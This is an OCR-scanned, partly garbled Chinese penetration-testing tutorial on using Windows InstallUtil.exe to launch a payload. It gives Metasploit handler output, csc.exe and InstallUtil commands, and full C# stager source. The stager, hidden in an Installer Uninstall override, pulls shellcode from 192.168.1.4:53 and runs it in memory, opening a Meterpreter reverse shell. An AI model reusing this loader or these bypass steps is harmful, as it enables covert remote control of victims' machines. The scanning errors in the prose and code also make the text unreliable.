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Installutilig7} :
Installer TER— 1o S1TEER | BT TIEEREFEPHNRERAHEK
LEFEEIRS TR, T RSSystem.Configuration InstallipE=[EHAIE—E(ERA.
B{k&% : Windows InstallergfZ
https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)

17BH : Installutil.exefiEB RSB R ARSSRINPATHIAEZSEF |, Bt |, InstallutildgSTE
i/D\%UO

EFRH&Rinstallutil.exefic&payload :

Windows 7 ERANE :
CA\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

KEH, - 192.168.1.4 Debian
8041 - 192.168.1.3 Windows 7

B E I msf :

f exploit{multi/handler) = show options

Module options (exploitsmultishandler):

Mame Current Setting FRequired Description

Payload options {windo
Name current !
EXITFUNC pr [E: Exit technique luccpptpd *', seh, thread, process, none)
LHOST 19 .1, ¢ The listen addres:
LPORT 53 CE The listen port
Exploit target:
Id Name

e} Wl]dtjrd Target

f exploit{multi‘handler) = exploit

[*] Started reverse TCP handler on 182.163.1.4:53



https://micropoor.blogspot.com/
https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)

FEHNITT -

BB IR -

I C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente
rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic
opoor.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\User
\John\Desktop\installutil.cs

mpiler we

oft Corporation. all rights reserved.

piler ds
Tangua

FEHINAT -

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfi
le= /LogToConsole=false /U Micropoor.exe



exploit (multi/handler] = exploit

-Q500

eterprete
Current pid: 1

neterpreter =

Ma

Hardware MAC

Mame :
Hardware MAC :

ffi5 : Micropoor.cs
i¥ : x64 payload

| using System; using System.Net; using System.Linqg; using System.Net.So
ckets; using System.Runtime.InteropServices; using System.Threading; usi
g System.Configuration.Install; using System.Windows.Forms

2 public class GQLBigHgUniLuVx {

3  public static void Main

S |

5 while(true

6 {{ MessageBox.Show("doge" Console.ReadLine }}
7}

8 )

10 System.ComponentModel.RunInstaller(true
11 public class esxWUYUTWShgW : System.Configuration.Install.Installer
12 A

13 public override void Uninstall(System.Collections.IDictionary zWrdFALl
Hmunnu

14 {
15  jkmhGrfzsKQeCG.LCIUtRN
16 }



19 public class jkmhGrfzsKQeCG

20 { [D1llImport("kernel32")] private static extern UInt32 VirtualAlloc(l
Int32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32
KIheHEUXhAfOI) ;

21 [DllImport("kernel32")|private static extern IntPtr CreateThread(UInt:
2 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UIn
32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn) ;

22 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje
ct(IntPtr pRIWbzTTS, UInt32 eRLAWWYQnQ);

23 static byte[] ErlgHH(string ZwznjBJY, int KsMEeo) {

24 IPEndPoint gAmSXHOKCbGlysd = new
IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);

25 Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketTyy
e.Stream, ProtocolType.Tcp);

26 try { XXxIoIXNCle.Connect(gAmSXHOKCbGlysd); }
27 catch { return null;}

28 byte[] UmquAHRnhhpuE = new byte[4];

29  XXXIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0);

30 int kFVRSNnpj BitConverter.ToInt32(UmquAHRnhhpuE, ©);

new byte[kFVRSNnpj + 5];

31 byte[] gaYyFq
32 int SRCDELibA = 0;
33 while (SRCDELibA < kFVRSNnpj)

34 { SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA + 5, (kFVRSNnpj
- SRCDELibA) < 4096 ? (kFVRSNnpj - SRCDELibA) : 4096, 0);}

35  byte[] TvvzOgPLgwcFFv =
BitConverter.GetBytes((int)XXxIoIXNCle.Handle);

36 Array.Copy(TvvzOgPLqwcFFv, @, gaYyFq, 1, 4); qaYyFq[@] = OxBF;
37 return gaYyFq;}

38 static void cmMtjerv(byte[] HEHUjJhkrNS) {

39 if (HEHUjJhkrNS != null) {

40 UInt32 WcpKfU = VirtualAlloc(®, (UInt32)HEHU]jJhkrNS.Length, 0x1000, ¢
X40) ;

41 Marshal.Copy(HEHUjJhkrNS, @, (IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
42 IntPtr UhxtIFnlOQatrk = IntPtr.Zero;

43 UInt32 wdjYKFDCCf = 0;

44 IntPtr XVYcQxpp = IntPtr.Zero;

45 UhxtIFnlOQatrk = CreateThread(®, 0, WcpKfU, XVYcQxpp, ©, ref wdjYKFD(
cf);

46 WaitForSingleObject(UhxtIFnlOQatrk, OxFFFFFFFF); }}
47
48 public static void LCIUtRN() {



19  byte[] IBtCWU = null; IBtCWU = ErlgHH("192.168.1.4", 53);
50 cmMtjerv(IBtCWU);
51} }

", installutil.snk
W 5968

e  Micropoor



